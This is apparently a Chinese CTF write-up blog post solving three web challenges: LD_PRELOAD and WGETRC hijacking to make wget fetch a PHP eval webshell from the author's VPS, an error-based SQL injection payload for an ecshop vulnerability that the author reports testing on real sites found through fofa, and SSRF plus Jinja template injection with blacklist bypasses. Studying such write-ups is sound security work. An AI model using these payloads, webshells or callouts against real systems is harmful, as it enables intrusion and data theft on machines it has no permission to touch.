Featured image of post 2025强网拟态wp

2025强网拟态wp

强网拟态

smallcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 <?php
    highlight_file(__FILE__);
    if(isset($_POST['context'])){
        $context = $_POST['context'];
        file_put_contents("1.txt",base64_decode($context));
    }

    if(isset($_POST['env'])){
        $env = $_POST['env'];
        putenv($env);
    }
    system("nohup wget --content-disposition -N hhhh &");

挟持wget命令来RCE,看到putenv,想到之前绕过disable_function的操作,挟持环境变量LD_PRELOAD,让它加载恶意so

所以思路是context写入base64编码后的恶意so文件

1
2
3
4
5
6
7
// libpwn.c
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor)) void init(void) {
    system("cp /flag /var/www/html/flag.txt 2>/dev/null");
}

gcc编译

1
gcc -shared -fPIC -o libpwn.so libpwn.c

然后base64

1
2
base64 -w0 libpwn.so > libpwn.so.b64
# -w0 保证单行输出,便于直接放到 POST 表单值

然后curl

1
2
3
curl -s -X POST 'http://TARGET_URL/index.php' \
  -d "context=$(cat libpwn.so.b64)" \
  -d "env=LD_PRELOAD=./1.txt"

发现写不进去,wget有他专门的环境变量WGETRC,可以用来配置代理,想到可以改代理为我们的vps

在vps上起个监听,使得访问的时候返回木马

1
socat TCP-LISTEN:9999 EXEC:'echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n<?php eval($_POST[0]);"'

然后将1.txt写成wget的配置文件,用putenv指定1.txt

1
2
3
use_proxy = on
http_proxy = http://ip:9999
output_document = shell.php

post请求

1
context=dXNlX3Byb3h5ID0gb24KaHR0cF9wcm94eSA9IGh0dHA6Ly8xMTUuMTkwLjM2LjI3Ojk5OTkKb3V0cHV0X2RvY3VtZW50ID0gc2hlbGwucGhw&env=WGETRC=/var/www/html/1.txt

请求完shell.php就写入了,连上shell看suid

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
(www-data:/var/www/html) $ find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/nl
/usr/bin/passwd

nl读flag:

1
/usr/bin/nl /flag

ecshop

黑盒cms题,网上找到相同版本的漏洞文章:Ecshop SQL注入漏洞(CNVD-2025-07678) | Bbdolt’s Blog

但是没打成功,但是fofa找了几个类似站点都成功注入并拿到数据库名了

报错注入payload

1
2
3
4
5
6
<?xml version="1.0"?>
<user>
    <Event>scan</Event>
    <EventKey>' AND updatexml(1,concat(0x7e,database(),0x7e),1)-- -</EventKey>
    <FromUserName>123456</FromUserName>
</user>

safesecret

总算有源码了

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from flask import Flask, request, jsonify, Response, abort, render_template_string, session
import requests, re
from urllib.parse import urljoin, urlparse

app = Flask(__name__)

MAX_TOTAL_STEPS = 30
ERROR_COUNT = 6

META_REFRESH_RE = re.compile(
    r'<meta\s+http-equiv=["\']refresh["\']\s+content=["\']\s*\d+\s*;\s*url=([^"\']+)["\']',
    re.IGNORECASE
)


def read(f): return open(f).read()


SECRET = read("/secret").strip()
app.secret_key = "a_test_secret"


def sset(key, value):
    session[key] = value
    return ""


def sget(key, default=None):
    return session.get(key, default)


app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)


@app.route("/_internal/secret")
def internal_flag():
    if request.remote_addr not in ("127.0.0.1", "::1"):
        abort(403)
    body = f'OK Secret: {SECRET}'
    return Response(body, mimetype="application/json")


@app.route("/")
def index():
    return "welcome"


def _next_by_refresh_header(r, current_url):
    refresh = r.headers.get("Refresh")
    if not refresh:
        return None
    try:
        part = refresh.split(";", 1)[1]
        k, v = part.split("=", 1)
        if k.strip().lower() == "url":
            return urljoin(current_url, v.strip())
    except Exception:
        return None


def _next_by_meta_refresh(r, current_url):
    m = META_REFRESH_RE.search(r.text[:5000])
    if m:
        return urljoin(current_url, m.group(1).strip())
    return None


def _next_by_authlike_header(r, current_url):
    if r.status_code in (401, 407, 429):
        nxt = r.headers.get("X-Next")
        if nxt:
            return urljoin(current_url, nxt)
    return None


def my_fetch(url):
    session = requests.Session()
    current_url = url
    count_redirect = 0
    history = []
    last_resp = None

    while count_redirect < MAX_TOTAL_STEPS:
        print(count_redirect)
        try:
            r = session.get(current_url, allow_redirects=False, timeout=5)
            print(r.text)
        except Exception as e:
            return history, None, f"Upstream request failed: {e}"

        last_resp = r
        history.append({
            "url": current_url,
            "status": r.status_code,
            "headers": dict(r.headers),
            "body_preview": r.text[:800]
        })

        nxt = _next_by_refresh_header(r, current_url)
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        nxt = _next_by_meta_refresh(r, current_url)
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        nxt = _next_by_authlike_header(r, current_url)
        if nxt:
            current_url = nxt
            count_redirect += 1
            continue

        break

    return history, last_resp, None


@app.route("/fetch")
def fetch():
    target = request.args.get("url")
    if not target:
        return jsonify({"error": "no url"}), 400

    history, last_resp, err = my_fetch(target)
    if err:
        return jsonify({"error": err}), 502
    if not last_resp:
        return jsonify({"error": "no response"}), 502

    walked_steps = len(history) - 1
    try:
        if "application/json" in (last_resp.headers.get("Content-Type") or "").lower():
            _ = last_resp.json()
        else:
            if "MUST_HAVE_FIELD" not in last_resp.text:
                raise ValueError("JSON schema mismatch")
        return jsonify({"ok": True, "len": len(last_resp.text)})

    except Exception as parse_err:
        if walked_steps >= ERROR_COUNT:
            raw = []
            raw.append(last_resp.text[:5000])
            return Response("\n".join(raw), mimetype="text/plain", status=500)
        else:
            return jsonify({"error": "Invalid JSON"}), 500


@app.route("/login")
def login():
    username = request.args.get("username")
    secret = request.args.get("secret", "")
    blacklist = ["config", "_", "read", "{{"]
    if secret != SECRET:
        return ("forbidden", 403)

    if len(username) > 47:
        return ("username too long", 400)

    if any([n in username.lower() for n in blacklist]):
        return ("forbidden", 403)

    sset('username', username)

    rendered = render_template_string("Welcome: " + username)
    return rendered


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

首先要拿secret,看到fetch路由和127.0.0.1想到ssrf,但是fetch路由要跳转6次才行,在自己的vps上写6个html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!-- step1.html -->
<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="refresh" content="0;url=http://ip:8000/step2.html">
  <title>step1</title>
</head>
<body>
  loading...
</body>
</html>

然后第6个是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<!-- step6.html -->
<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <!-- 最后一跳到本地 internal secret -->
  <meta http-equiv="refresh" content="0;url=http://127.0.0.1:5000/_internal/secret">
  <title>step6</title>
</head>
<body>
  loading final...
</body>
</html>

用浏览器fetch,yakit貌似有问题

image-20251025194257766

拿到secret

1
1140457d-a0b5-4e6d-a423-5a676e61992a

接下来就是login路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
@app.route("/login")
def login():
    username = request.args.get("username")
    secret = request.args.get("secret", "")
    blacklist = ["config", "_", "read", "{{"]
    if secret != SECRET:
        return ("forbidden", 403)

    if len(username) > 47:
        return ("username too long", 400)

    if any([n in username.lower() for n in blacklist]):
        return ("forbidden", 403)

    sset('username', username)

    rendered = render_template_string("Welcome: " + username)
    return rendered

但是我怎么构造长度都超过了,最开始的思路是用全局对象config的update方法将payload分批写入,但是获取config这里卡了很久,后面重新看了app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def read(f): return open(f).read()


SECRET = read("/secret").strip()
app.secret_key = "a_test_secret"


def sset(key, value):
    session[key] = value
    return ""


def sget(key, default=None):
    return session.get(key, default)


app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)

这里重新定义了sset方法,sget方法和read方法

尝试用sset设置__globals__,和read方法,然后sget获取前面设置的变量,最后调用read方法读flag

image-20251026001502994

在这里尝试写x为globals,覆盖username也成功了但是没解析出结果,缺少print,但是单行print的话,既要用sset又要用sget长度肯定超了

这里测试一下print

image-20251026002018640

前面用request.arg绕过黑名单能在session中看到可以解析,就继续尝试

image-20251025235021457

image-20251025235057887

然后直接print出问题了,那就不用request.args绕过,_用8进制的\137绕过,然后read拼接绕过

image-20251026000141255

image-20251026000110060

最后print读到的flag,这里的变量仿照前面函数写的session[key]的形式,如果是直接sget('x')貌似是不行的,因为我前面两步操作后的session都没办法jwt解码

image-20251025234758529

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计